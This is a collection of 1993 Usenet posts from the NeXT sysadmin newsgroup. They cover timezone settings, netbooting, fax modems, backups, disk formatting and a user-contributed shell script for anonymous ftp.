-> >Currently if I specify "machine hostname" it will only execute the
-> >commands providing the machine hostname matches the host im currently
-> >connected to in an ftp session. What I would like is to be able to
-> >set it up so that I can just anonymous ftp anywhere.
->
-> Once again, as many have said before, the only way to default to anonymous
-> login is to use ncftp, by Mike Gleason I believe. If you do not have a
-> ..netrc entry for a host ncftp will automatically attempt an anonymous
-> login.
->
Why not just use the "alex" package from, I think, nectar.cs.cmu.edu....this
will give you a FTP filesystem...
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From: michael@wft.stack.urc.tue.nl (Michael Brouwer)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Timezone info in Preferences incomplete
Message-ID: <1p7u80$c7@tricky.wft.stack.urc.tue.nl>
Date: 29 Mar 93 22:46:24 GMT
References: <3722@nlsun1.oracle.nl>
Organization: Eindhoven University of Technology, the Netherlands
In article <3722@nlsun1.oracle.nl> hbergh@nl.oracle.com (Herbert van den Bergh)
writes:
> about the other timezones in /etc/zoneinfo? Or should I just
> pretend I'm living in Poland instead?
No, poland is wrong. To correct the problem type the following in a terminal
window (as root):
# chmod u-s /usr/lib/Preferences/set_time_zone
# rm -f /etc/zoneinfo/localtime
# ln /etc/zoneinfo/MET /etc/zoneinfo/localtime
This will disallow the changing of the timezone from Preferences.app (for non
root users) and set the systems timezone to MET.
Michael
Newsgroups: comp.sys.next.sysadmin
From: lagarde@netcom.com (Jean Lagarde)
Subject: kernel won't mount root while netbooting
Message-ID: <lagardeC4ow57.Cou@netcom.com>
Organization: Netcom - Online Communication Services (408 241-9760 guest)
Distribution: na
Date: Tue, 30 Mar 1993 06:46:19 GMT
It's the first time I attempt to netboot, and although I did everything
described in the NeXT documentation, I get the following error when the
kernel attempts to mount the root directory from the server:
mountnfs: myprivnext:/ portmap not responding
(repeated endlessly)
However, if I boot the client from a local disk, I can mount the
server's root directory with "mount myprivnext:/ /myprivnext"
whithout any problems, which I think proves that portmap works
fine on the server.
If someone knows what I'm doing wrong, please let me know. If you'd
like to have more info on my netboot attempt, I included a dump of
the console at the end.
Thanks for any help
-Jean
lagarde@netcom.com
-------------- netboot console dump ---------
NeXT>
NeXT>ben
boot en(0,0,0)
Requesting BOOTP information. [OK]
Booting /private/tftpboot/boot from myprivnext
..................................................................................................
blk0 boot: en()
Requesting BOOTP information. [OK]
Booting /private/tftpboot/mach from myprivnext
................................................................................(few lines of that)
.................NeXT ROM Monitor 1.0 v42
NeXT Mach 3.0: Wed Jul 29 19:43:28 PDT 1992; root(rcbuilder):mk-127.15/BUILD/RELEASE_M68K
FPU version 0x0
physical memory = 8.00 megabytes.
available memory = 6.96 megabytes.
using 16 buffers containing 0.12 megabytes of memory
SCSI 53C90A Controller, Target 7, as sc0 at 0x2014000
PINNACLEOHD-650 Rev 1.54 as sd0 at sc0 target 5 lun 0
Disk Label: bootdisk
Disk Capacity 281MB, Device Block 512 bytes
QUANTUM P40S 940-40-94xx Rev as sd1 at sc0 target 6 lun 0
Disk Label: swapdisk
Disk Capacity 40MB, Device Block 512 bytes
Generic SCSI Device as sg0 at sc0 target 7 lun 7
Generic SCSI Device as sg1 at sc0 target 7 lun 7
Generic SCSI Device as sg2 at sc0 target 7 lun 7
Generic SCSI Device as sg3 at sc0 target 7 lun 7
odc0 at 0x2012000
od0 at odc0 slave 0
od1 at odc0 slave 1
en0 at 0x2006000
en0: Ethernet address 00:00:0f:00:59:46
IP protocol enabled for interface en0, type "10MB Ethernet"
dsp0 at 0x2008000
np0 at 0x200f000
sound0 at 0x200e000
root on en0
master cpu at slot 0.
primary network interface: en0 [192.42.172.2]
hostname: myepb
whoami: no domain name
mountnfs: myprivnext:/ portmap not responding
mountnfs: myprivnext:/ portmap not responding
(etc.)
Newsgroups: comp.sys.next.sysadmin
From: gerben@rna.indiv.nluug.nl
Subject: Re: Timezone info in Preferences incomplete
Message-ID: <1993Mar30.071545.9216@rna.indiv.nluug.nl>
Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda)
Organization: G.R.O.S.S.
References: <1993Mar29.204838.16465@bernina.ethz.ch>
Date: Tue, 30 Mar 1993 07:15:45 GMT
In article <1993Mar29.204838.16465@bernina.ethz.ch>
> In article <3722@nlsun1.oracle.nl> hbergh@nl.oracle.com (Herbert van den
Bergh) writes:
> > This weekend was the first time we had a change to Daylight
> > Saving Time in The Netherlands. The clock of Preferences in the
> > dock didn't follow. I had chosen GMT+0100. After changing that
> > to Poland the time seemed to be right.
It is indeed a litlle confusing, but the time on the map is MET DST, which is
Middle European Time, Daylight Savings Time, the correct time for NL.
My clock adjusted itself last weekend, as it should have.
The confusion for me comes from the fact that the "MET DST" string remains when
you choose GMT+0100. It should change to "GMT+0100".
The way it is meant to be:
Choose either "real time" (GMT-based, your timezone)
Or "local time" (Adaptations, like DST)
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"If you don't know where you are going, any road will
take you there." From the Talmud(?), rephrased in
Lewis Carroll, "Alice in Wonderland".
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From: jfreem@ecsvax.uncecs.edu (Joe Freeman)
Subject: NIS - mail.byaddr
Message-ID: <1993Mar30.123857.13313@ecsvax.uncecs.edu>
Organization: UNC Educational Computing Service
Distribution: usa
Date: Tue, 30 Mar 1993 12:38:57 GMT
I'm interested in using the "reverse alias" feature
in sendmail. Though, it seems that it requires that
NIS is running. Now, I only want to run NIS for this
single feature. So, I ran makedbm and ypinit (?) to
build my tables. Then I set the domain name of my machine
using HostManager. I didn't put the + signs in any of the
files cause I don't want to use NIS/YP for anything but
this alias translation
Now, I guess the question is what is the file format for
the ASCII version of this table? And, is there an easier
way to do this?
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The opinions espressed here are my own and are not
shared by my former employer.
From: dan@coactive.com (dan hennage)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: better FAX support
Date: 29 Mar 1993 19:46:04 GMT
Organization: Coactive Aesthetics Inc.
Message-ID: <1p7jlsINNbrd@disc.coactive.com>
Does anyone know of software for better FAX support. Specifically I'd like to
be able to:
1) Combine multiple documents from a single application or from multiple
applications into a single FAX.
2) Save FAXes (or portions of FAXes) in Encapsulated PostScript files.
Thanks.
---
dan hennage
coactive aesthetics
po box 425967, san francisco, ca 94142
dan@coactive.com voice:(415)626-5152 fax:(415)626-6320
Newsgroups: comp.sys.next.sysadmin
From: marcel@nice.usergroup.ethz.ch (Marcel Waldvogel)
Subject: Re: Timezone info in Preferences incomplete
Message-ID: <1993Mar30.130727.19103@bernina.ethz.ch>
Sender: news@bernina.ethz.ch (USENET News System)
Organization: NiCE - NeXT User Group, Zuerich
References: <3722@nlsun1.oracle.nl> <1993Mar29.204838.16465@bernina.ethz.ch> <C4oDnr.2M1@ux1.cso.uiuc.edu>
Date: Tue, 30 Mar 1993 13:07:27 GMT
In article <C4oDnr.2M1@ux1.cso.uiuc.edu> lemson@uiuc.edu writes:
>marcel@nice.usergroup.ethz.ch (Marcel Waldvogel) writes:
>>it looks like that). What I hate more is that there is no possibility
>>to set this globally (it makes no sense to me that one user has time
>>zone X and another user has time zone Y).
>Not true. Change the time zone as root and remove the setuid bit
>from /usr/lib/Preferences/set_time_zone if you're running 3.0. This
>is documented in the Network&SysAdmin manual chapter 16. (if you're
>running 2.1, simply remove the setuid bit from
>/NextApps/Preferences)
Yes, that's ok. But, when you launch Preferences (as an ordinary User)
the map display (including the popup) won't be correct.
-Marcel
From: farhat@argos.enst.fr (Jocelyne Farhat)
Newsgroups: comp.sys.next.sysadmin
Subject: Mach Environment Manager
Message-ID: <3908@ulysse.enst.fr>
Date: 30 Mar 93 12:06:12 GMT
Sender: news@ulysse.enst.fr
Organization: Telecom Paris, France
I am looking for an include file that represents the server
'Mach Environment Manager'. It is usually located in the /servers
directory of Mach under the name "env_mgr.h". I am working on a
NeXT station.
Does anybody know where I can find this file?
Merci.
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From: jblue@ocotillo.mitre.org (Jason D. Blue)
Subject: Where is "Using Icon.app with NeXTSTEP 3.0"?
Message-ID: <1993Mar30.135724.26901@linus.mitre.org>
Keywords: Icon.app NS 3.0 patch
Sender: news@linus.mitre.org (News Service)
Organization: The MITRE Corporation
Date: Tue, 30 Mar 1993 13:57:24 GMT
Do you know where I can find a copy of the "Using Icon.app with NeXTSTEP
3.0" document? I looked on the ftp sites, but did not find it.
Thank you,
Jason
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From: spagiola@frinext.stanford.edu (Stefano Pagiola)
Subject: Re: Where is "Using Icon.app with NeXTSTEP 3.0"?
Message-ID: <1993Mar30.162511.1888@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
References: <1993Mar30.135724.26901@linus.mitre.org>
Date: Tue, 30 Mar 93 16:25:11 GMT
Jason D. Blue writes
>
> Do you know where I can find a copy of the "Using Icon.app
> with NeXTSTEP 3.0" document? I looked on the ftp sites, but
> did not find it.
>
Sonata.cc.purdue.edu, in pub/next/submissions
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spagiola@FRI-nxt-Pagiola.stanford.edu (NeXTMail encouraged)
Newsgroups: comp.sys.next.sysadmin
From: lorinr@altsys.com (Lorin Rivers III)
Subject: Re: Can't use Edit properly from workspace after de-installing Emacs.app
Message-ID: <1993Mar30.155740.4995@altsys.com>
Keywords: Edit, Workspace, Emacs, Tools
Organization: Altsys Corporation, Richardson, TX
References: <C4oADy.Gr6@mcs.anl.gov>
Date: Tue, 30 Mar 1993 15:57:40 GMT
In article <C4oADy.Gr6@mcs.anl.gov> korp@eid.anl.gov (Peter A. Korp) writes:
>
>I installed Emacs.app and after some period of time with it I determined
>that Edit interacted better with the standard NeXT development environment
>so I got rid of Emacs. Now I can't seem to make plain text files open in
>Edit by clicking on them in workspace anymore! When I pop the tools
>inspector in Workspace it says that there is no tools inspector for that
>file!?!
>
>I am still able to open .c and .h files, but not files with no extension
>or files with an unknown extension (eg. cmos.ram).
>
>Any ideas on how to coerce Workspace into setting a default editor, this
>used to work before I installed Emacs.app.
>
>Thanks,
>--
> Peter A. Korp
> Assistant Scientist
> Argonne National Laboratory
> korp@eid.anl.gov
Peter,
Select a text file in the Workspace, Pop up the Tools Inspector,
select Edit.app from the 'list' and click the Set Defaults button.
That should take care of it.
Good luck!
--
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Altsys Technical Support 214.680.2518
269 W. Renner Parkway NeXT Mail Expected
Richardson, Texas 75080 I said it, not my boss
From: michael@wft.stack.urc.tue.nl (Michael Brouwer)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Can't use Edit properly from workspace after de-installing Emacs.app
Message-ID: <1p95fq$7q@tricky.wft.stack.urc.tue.nl>
Date: 30 Mar 93 09:56:10 GMT
References: <C4oADy.Gr6@mcs.anl.gov>
Organization: Eindhoven University of Technology, the Netherlands
In article <C4oADy.Gr6@mcs.anl.gov> korp@eid.anl.gov (Peter A. Korp) writes:
> Any ideas on how to coerce Workspace into setting a default editor, this
> used to work before I installed Emacs.app.
dremove WorkSpace DefaultOpenApp
Will do the trick.
Michael
From: masud@invnext.worldbank.org (masud cader)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Wanted: Faxmodem advice
Keywords: fax, modems, drivers, next
Message-ID: <1993Mar30.191508.18107@worldbank.org>
Date: 30 Mar 93 19:15:08 GMT
Sender: news@worldbank.org
Organization: The World Bank, Washington, DC, USA
I am planning to use SLIP/PPP and hope to buy a high speed modem. However, I
would like to purchase a modem which has fax capability with auto data/fax
switching and which could "parse" incoming calls for data or fax (and
optionally-but REALLY not required voice).
Your advice, comments, specifications and musings on this matter will be
greatly appreciated.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Masud Cader
Trading Analytics
The World Bank
masud@invnext.worldbank.org
From: lmccullo@nyx.cs.du.edu (Michael McCulloch)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Where is "Using Icon.app with NeXTSTEP 3.0"?
Message-ID: <1993Mar30.184734.16955@mnemosyne.cs.du.edu>
Date: 30 Mar 93 18:47:34 GMT
References: <1993Mar30.135724.26901@linus.mitre.org> <1993Mar30.162511.1888@leland.Stanford.EDU>
Sender: usenet@mnemosyne.cs.du.edu (netnews admin account)
Organization: Nyx, Public Access Unix at U. of Denver Math/CS dept.
In article <1993Mar30.162511.1888@leland.Stanford.EDU>
spagiola@frinext.stanford.edu writes:
>Jason D. Blue writes
>>
>> Do you know where I can find a copy of the "Using Icon.app
>> with NeXTSTEP 3.0" document? I looked on the ftp sites, but
>> did not find it.
>>
>
>Sonata.cc.purdue.edu, in pub/next/submissions
Man, that really narrows it down. %^)
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mmcculloch@nebula.tbe.com (NeXTmail Accepted!)
NeXT Registered Developer #1031
Huntsville, Alabama
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From: goli@plains (Venkata Nagarjuna Rao Goli)
Subject: POSTGRES DBMS on NeXT
Sender: usenet@ns1.nodak.edu (Usenet login)
Message-ID: <C4pvoC.FuJ@ns1.nodak.edu>
Date: Tue, 30 Mar 1993 19:33:48 GMT
Organization: North Dakota Higher Education Computing Network
Hello Friends,
is there any body who installed POSTGRES database management
system on NeXT machines? I tried to install it on my NeXT but came to know
that POSTGRES needs shared memory and NeXT don't support that. Do you know
how to fix this problem. I have Release 2.0 on my NeXT. Please email me.
My problem is that I need to write the following lines, to support
the shared memory for POSTGRES, in the /usr/sys/conf or kernel configuration
file to install POSTGRES. What do you suggest me to do??
In the POSTGRES manual they suggested to add these lines for a sun
sparc kernel configuration file.
options IPCMESSAGE
options IPCSEMAPHORE
options IPCSHMEM
options EMOREIPCS
These are all for the System V IPC ... facility. What are the comatibles
in NeXT???
Thanks in advance,
(GOLI)
From: bmwu@athena.mit.edu (Benson M. Wu)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Help formatting HP C2247 HD
Date: 30 Mar 1993 21:03:35 GMT
Organization: Massachusetts Institute of Technology
Distribution: na
Message-ID: <1pacj7INNgjv@senator-bedfellow.MIT.EDU>
Keywords: HP C2247 HD, NeXT Cube
I have a few questions regarding using the HP C2247
HD with a NeXT computer. Any tips are appreciated.
Background info: I bought this drive as an
internal drive about 6 weeks ago. It was apparently
used as an internal HD on some workstation computer.
Someone converted it to an external HD this week.
He had hooked it up to a Mac and ran Silverlining
5.40 and told me that it works and it's 512 bytes
per sector.
My goals are:
1. change it to 1024 bytes per sector.
2. build system 3.0 on this HD. I currently
have a Fujitsu 2263 HD as my interanl HD
on a 68040 Cube running system 2.1. I would
like to have the choice to boot from either
HD as needed.
My experience so far:
When I hook up this drive initially, the Cube
was not able to recognize the drive. It did ask me
if I want to initialize the HD. I answered yes and
the system choked. I opened up the HD, changed
some of the jumpers to a setting so that the HD would
be in Asynchronous mode. I then manually formatted
the drive with the disk command without any problems.
The drive however is at 512 bytes per sector.
I would like to make this drive 1024 bytes per sector.
So I checked the archives and found Rory Bolt's
the-formatter 1.2. It found the drive. However,
when I asked the program to format the HPC2247,
it gave me a "mode sense " error. I am not sure
what that means. The Workspace manager then told
me that the drive had a little damage. I re-initialized
it and the drive mounted fine.
So I am interested in any information
that will help me reformat this drive to 1024 bytes
per sector. In addition, I would like to know
what I should add to my fstab and disktab files
so that I could boot from this HD once I installed
3.0 on it. Currently, the external HD has scsi #2
and the internal HD has scsi #1. I wonder
if I can just change the scsi ID of the external HD to 0
so that I can boot from it when I want to.
sorry, I know this is verbose.
Thanks in advance for your help.
Best regards,
Benson M. Wu
bmwu@athena.mit.edu
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From: john@oceania.com (John Robison)
Subject: Re: how to get in touch with other beta testers w/o violating the rules?
Message-ID: <C4pzDz.37B@oceania.com>
Sender: john@oceania.com (John Robison)
Organization: Oceania Health Care Systems
References: <1ot5cv$3bd@zaphod.mps.ohio-state.edu>
Distribution: usa
Date: Tue, 30 Mar 1993 20:53:57 GMT
Paul Nevai writes
> I am a "beta" tester with a non-disclosure clause for "xyz". Now the
> question is how I could get in touch with other beta testers of the same
> product so I could discuss some problems which I couldn't discuss
> with the company making the product (because my contact people
> weren't sufficiently knowledgeable - yes, this sounds unusual). I
> can't even mention the name of the product. So how can I start?
>
Well,
If I was your "contact people", I would probably have an
E-mail address all set up and ready to go for periodic
notifications about my Beta product. Furthermore, I would
set-up and maintain that alias in a "mailing list" type
of configuration. This would allow *me* to control who
is on the list (only beta-testers) while allowing my
beta-testers to answer each other's problems without
burdening my tech support. :-) :-)
I would probably have to re-wite my beta agreement though.
(Bummer, all those lawyers cost a lot of time and money!)
Of course, your vendor may not do things like I would. :-) :-)
My $0.02,
John
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NeXTMail Gladly Accepted
What I say has absolutely nothing to do with my employer.
Newsgroups: comp.sys.next.sysadmin
From: jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd)
Subject: Re: Ftp with .netrc question
Message-ID: <1993Mar30.230433.22124@galileo.cc.rochester.edu>
Sender: news@galileo.cc.rochester.edu
Organization: University of Rochester - Rochester, New York
References: <1p5cr3$fkf@news.umbc.edu> <C4ooHo.50v@ms.uky.edu>
Date: Tue, 30 Mar 93 23:04:33 GMT
In <C4ooHo.50v@ms.uky.edu> soward@slow.inslab.uky.edu (John Soward) writes:
>gseidman@math16.math.umbc.edu writes
>-> In article <1p4qnh$2of@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert
>Nicholson) writes:
>-> >How can you make my .netrc let me log into any machine with anonymous
>-> >ftp?
>-> >
>-> >Currently if I specify "machine hostname" it will only execute the
>-> >commands providing the machine hostname matches the host im currently
>-> >connected to in an ftp session. What I would like is to be able to
>-> >set it up so that I can just anonymous ftp anywhere.
>->
>-> Once again, as many have said before, the only way to default to anonymous
>-> login is to use ncftp, by Mike Gleason I believe. If you do not have a
>-> ..netrc entry for a host ncftp will automatically attempt an anonymous
>-> login.
>->
>Why not just use the "alex" package from, I think, nectar.cs.cmu.edu....this
>will give you a FTP filesystem...
>--
> ________________________________________________________________________
> / 'The midnight sun will burn you up" -The Cure, Piggy in the Mirror /
> / soward@ms.uky.edu | soward@inslab.uky.edu (NeXT Mail) /
> /_______________________________________________________________________/
Or you could use this little shell program written by someone that I
regularly use. Just clip everything out below this line, save it as a text
file with execute and read permissions by everyone. I then aliased ftp to
afrc in my cshrc, but that's personal preference. Remember to change .netrc
to no read by everyone else on the system or ftp won't use it!
#!/bin/sh
# af 1.0 - anonymous ftp program
# by Adrian Marian (adrian@milton.u.washington.edu)
#
# Keeps a list of archive sites in the file $HOME/.afrc, one archive
# site per line, with optional comments afterwords on the same line
#
# When invoked with one argument, takes first line which matches
# that argument as a regular expression, and calls ftp on that
# archive site. If multiple lines match, then the first match is
# used.
#
# If the specified archive site is not in the .afrc file, it is
# temporarily added to the .netrc, and ftp is invoked. After the ftp
# you are prompted for comments. The comment 'rm' causes the new
# site to be removed from .netrc. Any other comment is added to
# the site's new line in the .afrc file.
#
# Example:
#
# af wuarchive.wustl.edu
# <ftp connects, handling all the password stuff through the .netrc>
# <you transfer some files>
# quit
# Comments: simtel mirror
#
# This process has created a .afrc file and placed a wuarchive line
# in it. Next time you wish to connect to wuarchive, you can do
# af wu This matches the 'wu' in wuarchive
# af simtel Matches part of the description
# af mirror Matches another part of description
# af . Matches everything, but wuarchive is first
#
# modified 05/07/92 by john todd (jtod@alora.cc.rochester.edu) to include
# the hash and prompt commands automatically as well as use a better echo
# pattern (an older revision used /usr/bin5/echo which isn't on my NeXT)
if [ ! $# -eq 1 ]
then
echo Syntax: af archive.site
echo
echo Opens an anonymous ftp connection to the archive site which matches
echo archive.site in your .afrc file, adding archive.site to the .afrc
echo file if it doesn\'t match anything. Grep is used to determine mathing.
exit 1
fi
# Special options to use with ftp.
ftpopts=-i
# define the anonymous password
password=${USER}@`hostname`
# Create the .afrc file if it doesn't exist
if [ ! -f $HOME/.afrc ]
then
echo > $HOME/.afrc
fi
siteline=`grep $1 $HOME/.afrc`
if [ -z "$siteline" ]
then
# if the site isn't in .afrc, then temporarily add it to .netrc,
# connect, and then request comments.
cp $HOME/.netrc $HOME/.oldnetrc
/bin/echo "machine $1 login anonymous password $password macdef init">>/$HOME/.netrc
/bin/echo "hash prompt">> $HOME/.netrc
/bin/echo >>$HOME/.netrc
ftp $ftpopts $1
echo -n 'Comments: '
read comments
# if comment is 'rm' then keep old .netrc file, otherwise fix the .afrc
# file and keep the new .netrc
if [ "$comments" = rm ]
then
mv $HOME/.oldnetrc $HOME/.netrc
else
echo $1 $comments >> $HOME/.afrc
rm $HOME/.oldnetrc
fi
else
# Normal operations. We found the site in .afrc, so take the first
# part of the line and invoke ftp
ftp $ftpopts `echo $siteline | sed 's/ .*//'`
fi
--
John Todd | University of Rochester, Rochester NY USA Earth Milky Way
CPU 276686 | "Charracter is whata you arre ina the dark!" - E. Lizardo
Rochester NY 14627| Jeeps Bought/Sold * Dictators Overthrown * Bombs Defused
jtod@alora.cc.rochester.edu (NeXT mail) jtod_ltd@uhura.cc.rochester.edu
From: strobel@dirac.phys.washington.edu
Newsgroups: comp.sys.next.sysadmin
Subject: HELP HELP optical still not mount!!!
Date: 31 Mar 93 00:58:13 GMT
Organization: University of Washington
Distribution: na
Message-ID: <strobel.733539493@dirac>
Summary: optical still mount after valiant attempts
Keywords: optical mount super-block
HELP HELP HELP
Help! I cannot get an optical disk filled with research data/programs to mount!
In the console I get this error:
od0a: read failed (bitmap bad but no alternate found!) block 8 phys block 63448
(8114:0:8).
Here's what I've tried:
Block 8 is a super-block. Using fsck with the alternate super-block 16 brings
up a number of blocks above block #151264 that it cannot read. After responding
yes to all of the proposed changes fsck suggested (what else could I do?) it
indicated the number of files used and free (at end of phase 5). It then
said that it could not write to block 8.
Repeated attempts with fsck turned up the same blocks not being read.
The OD still will not mount and I cannot access any of the files. Is there a
way to tell the mount command to use a different super-block? Is there any way
I can repair block 8 phys block 63448? Please, please let me know!!
I have cleaned the OD and the OD drive and filter. I have also tried what some
people suggested: mounting the OD as read only then remounting it as read-write.
It tries to read block 8, fails, and will not mount with any of the IO options.
Is there anyway I can get the mount command to use alternate super-blocks? I
need to get it mounted before I can attempt to copy over any files. Anybody
have any other ideas?
Nick Strobel
strobel@dirac.phys.washington.edu
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
From: tlm@iastate.edu (Tom Marchioro)
Subject: Re: Wanted: Faxmodem advice
Message-ID: <tlm.733542626@scl1.al.iastate.edu>
Keywords: fax, modems, drivers, next
Sender: news@news.iastate.edu (USENET News System)
Organization: Iowa State University, Ames IA
References: <1993Mar30.191508.18107@worldbank.org>
Date: Wed, 31 Mar 1993 01:50:26 GMT
In <1993Mar30.191508.18107@worldbank.org> masud@invnext.worldbank.org (masud cader) writes:
>I am planning to use SLIP/PPP and hope to buy a high speed modem. However, I
>would like to purchase a modem which has fax capability with auto data/fax
>switching and which could "parse" incoming calls for data or fax (and
>optionally-but REALLY not required voice).
>Your advice, comments, specifications and musings on this matter will be
>greatly appreciated.
My supra fax modem worked right out of the box like a charm. The DFax
software does all you ask and will soon support voicemail as well. Both are
quite inexpensive and well worth the $.
You might also want to consider a Zyxel modem and the NXFax software. It will
also do what you describe, at roughly equivalent prices (i.e. you may
pay less or more, depending on how hard you shop). Many people seem to feel
that Zyxels handle noisy lines betterthan Supra, but my lines are awful and
the Supra just trains up and down to take care of it, so I cannot criticize
Supra on this score.
Oh yeah, the DFax software will soon work wih the Zyxel, and the NXFax with
the Supra, so you can mix and match from these various items.
Hope this helps --- Tom
Newsgroups: comp.sys.next.sysadmin
From: gemoe@proximus.north.de (Gerhard Moeller)
Subject: Re: Backing up to floppies and Old News ?
References: <C4CGMv.CEs@newsflash.concordia.ca>
Sender: gemoe@proximus.north.de
Organization: Gerhard Moeller, German NeXT User Group, Oldenburg.
Date: Tue, 30 Mar 1993 08:16:31 GMT
Message-ID: <1993Mar30.081631.11187@proximus.north.de>
In article <C4CGMv.CEs@newsflash.concordia.ca> kgnome@cs.concordia.ca (MATIS
stephane) writes:
> I decided to squeeze two questions into this post.
No problem, I decided to try to answer both.
> 1. What can I use to back-up to floppies *selected* files and directories
> automatically ?
>
> I have tried to compile GNU tar1.11 and it didn't. I don't like
> cpio or dump, as each has limitations. What's left ? Or better as this,
> what is there ? I need multi-volume compressed if all possible.
If you want to archive it to a disk and you don't have too much
changed data each time you do a backup, I would suggest that you
maintain the structure of your filessystem that contains the files. (I
hope that sentence makes sense, as I'm not an English-native ;-) )
So what you really need is a programm that copies one or more trees from
one place to another. It should also keep all permission-bits,
timestamps, etc. It should handle symlinks as well. Many programs
could handle this. If you also want your program getting the files to
copy from stdin (i.e. another data file) you have to write a script
for GNU cp (I *think* the NeXT cp is not able to keep permissions and
timestamps, but I only use GNU cp, so I'm not sure) or...
you use afio:
cat /foo/bar | afio -puvxz /Floppy/
I just tested it, it works great. Afio is available at most archives.
> 2. Does any company have Internet news avialable on CD-ROM ? 91,92,93
> first quarter ?
There are many. But the best might be a new product by JANA. I'll
forward parts of their mail:
[...]
> Toronto, Canada - Feb 22 1993 : JANA Publishing has officially
> launched the "CD-ROM NeWS For The NeXT Computer" as of February
> 22, 1993, after a long beta testing with over 250 subscribers.
[...]
> CD-ROM NeWS will be published 6 times a year. The cost
> of the subscription is U$59.95(six CD's) for one year and
> U$99.95(twelve CD's) for two years. Residents who live out side
> of US & Canada have to pay $20/year extra to cover the postage
> costs.
[...]
> Jay N.Janarthanan
> Publisher
>
> Phone : (416)-531-2311
> Fax : (416)-922-5597
> WATS : (800)-363-2083
Best is to ask them!
Then there are other disks as well: Internet unplugged for example.
But I can't remember all of them. Maybe you ask other people as well.
> Best would be something pre-indexed for Librarian and updated
> every month/quarter.
See above!
>
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Newsgroups: comp.sys.next.sysadmin
From: tilley@ccu.umanitoba.ca ()
Subject: Re: 8bits, login and Zyxel
Message-ID: <tilley.733557712@tilley>
Keywords: 8bits, login, Zyxel
Sender: news@ccu.umanitoba.ca
Organization: University of Manitoba, Winnipeg, Canada
References: <1993Mar29.082631.19336@urz.unibas.ch>
Date: Wed, 31 Mar 1993 06:01:52 GMT
frank@ifi.unibas.ch (Robert Frank) writes:
> :p8:sp#38400:
>The problem: after making the connection, the above initial message (im) is
>sent to the caller with parity generated. This shows as 'garbage' on the
>receivers screen, as the receiver is expecting 8bits, no parity.
>Is there any way I can coax the NeXT (driver, NXFax???) into sending the
>initial message with 8bits no parity? I couldn't find any option that would do
>this in the gettytab man page.
You will have the same problem whether or not you are running NXFax, or using a ZyXEL.
Use "zp" as well as "p8" and all will be well.
--
.. Richard <tilley@ccu.umanitoba.ca> NextMail OK.
Newsgroups: comp.sys.next.sysadmin
From: jfb@langoz.biomath.jussieu.fr (BOISVIEUX Jean-Francois)
Subject: Re: Wanted: Faxmodem advice
Message-ID: <1993Mar31.064530.29725@jussieu.fr>
Sender: news@jussieu.fr (Le Facteur)
Organization: Universite Paris VI/Paris VII
References: <1993Mar30.191508.18107@worldbank.org>
Date: Wed, 31 Mar 1993 06:45:30 GMT
In article <1993Mar30.191508.18107@worldbank.org>
masud@invnext.worldbank.org (masud cader) writes:
>
> I am planning to use SLIP/PPP and hope to buy a high speed modem.
However, I
> would like to purchase a modem which has fax capability with auto
data/fax
> switching and which could "parse" incoming calls for data or fax (and
> optionally-but REALLY not required voice).
>
> Your advice, comments, specifications and musings on this matter will be
> greatly appreciated.
>
>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~
> Masud Cader
> Trading Analytics
> The World Bank
> masud@invnext.worldbank.org
Here we use both Zyxel (U-1496E) for the lab and SupraFax V32bis(home);
using NXFax software on both everything goes fine; fast for uucp, fine
for faxes.
--
Jean-Francois Boisvieux
Departement de Biomathematiques
Faculte de medecine Pitie-Salpetriere
75013 Paris
France
From: upbundal@uxa.ecn.bgu.edu (Pred Bundalo)
Newsgroups: comp.sys.next.sysadmin
Subject: WARNING: possible FAQs. Dial-in, Supra V.32bis, RTS/CTS.
Date: 31 Mar 1993 01:46:06 -0600
Organization: Educational Computing Network
Distribution: world
Message-ID: <1pbi7u$ig0@uxa.ecn.bgu.edu>
Forgive me in advance if this is asked frequently. Where are the FAQs,
anyway? Couldn't find them in news.answers. I imagine this may very
well be a FAQ, and, if so, please just tell me where I can look the
solution up (unless you FEEL like posting).
I recently bought a used NeXTstation for home use. I need to set it up
for dial-in access at variable speeds from 2400bps up through the
maximum that the '040 box will handle. This is 38400bps from what I
gather.
Here's what I did and what happens:
1) Ordered a NeXT modem cable from NeXTConnection (part #8991) for
my Supra V.32bis V.42bis external FAXModem.
2) Edited /etc/ttys and commented out the entry for ttyda and replaced
it with an entry for ttydfa:
ttydfa "/usr/etc/getty std.9600" vt100 on
Note that for now, I'll be happy with 9600bps and down as long
as I can get at least connections at 9600bps and 2400 baud.
Note also that changing "std.9600" above to "D9600" does nothing
to help the situation.
3) Set the modem up to use hardware flow control (which should allow for
connect speeds among other things), autoanswer, error correction
(V.42), data compression (V.42bis), and follow DTR and DCE, among
other things.
Here is my configuration (in case someone has done this already
and happens to have a Supra V.32bis):
ACTIVE PROFILE:
B1 E1 L2 M1 N1 Q0 T V1 W1 X4 Y0 %C0 %E0 %G1 \N0 &C1 &D3 &K3 &Q6 &R0 &S0
&X0 &Y0
S00:001 S01:000 S02:043 S03:013 S04:010 S05:008 S06:002 S07:050 S08:002
S09:006
S10:014 S11:095 S12:050 S18:000 S23:063 S25:005 S26:001 S36:007 S37:000
S38:020
S40:084 S46:136 S48:007 S95:000 S109:062 S110:001
STORED PROFILE 0:
B1 E1 L2 M1 N1 Q0 T V1 W1 X4 Y0 %C0 %E0 %G1 \N0 &C1 &D3 &K3 &Q6 &R0 &S0
&X0
S00:001 S02:043 S06:002 S07:050 S08:002 S09:006 S10:014 S11:095 S12:050
S18:000
S23:063 S25:005 S26:001 S36:007 S37:000 S38:020 S40:084 S46:136 S48:007
S95:000
STORED PROFILE 1:
B1 E1 L2 M1 N1 Q0 T V1 W1 X4 Y0 %C1 %E0 %G1 \N3 &C1 &D2 &K3 &Q5 &R0 &S0
&X0
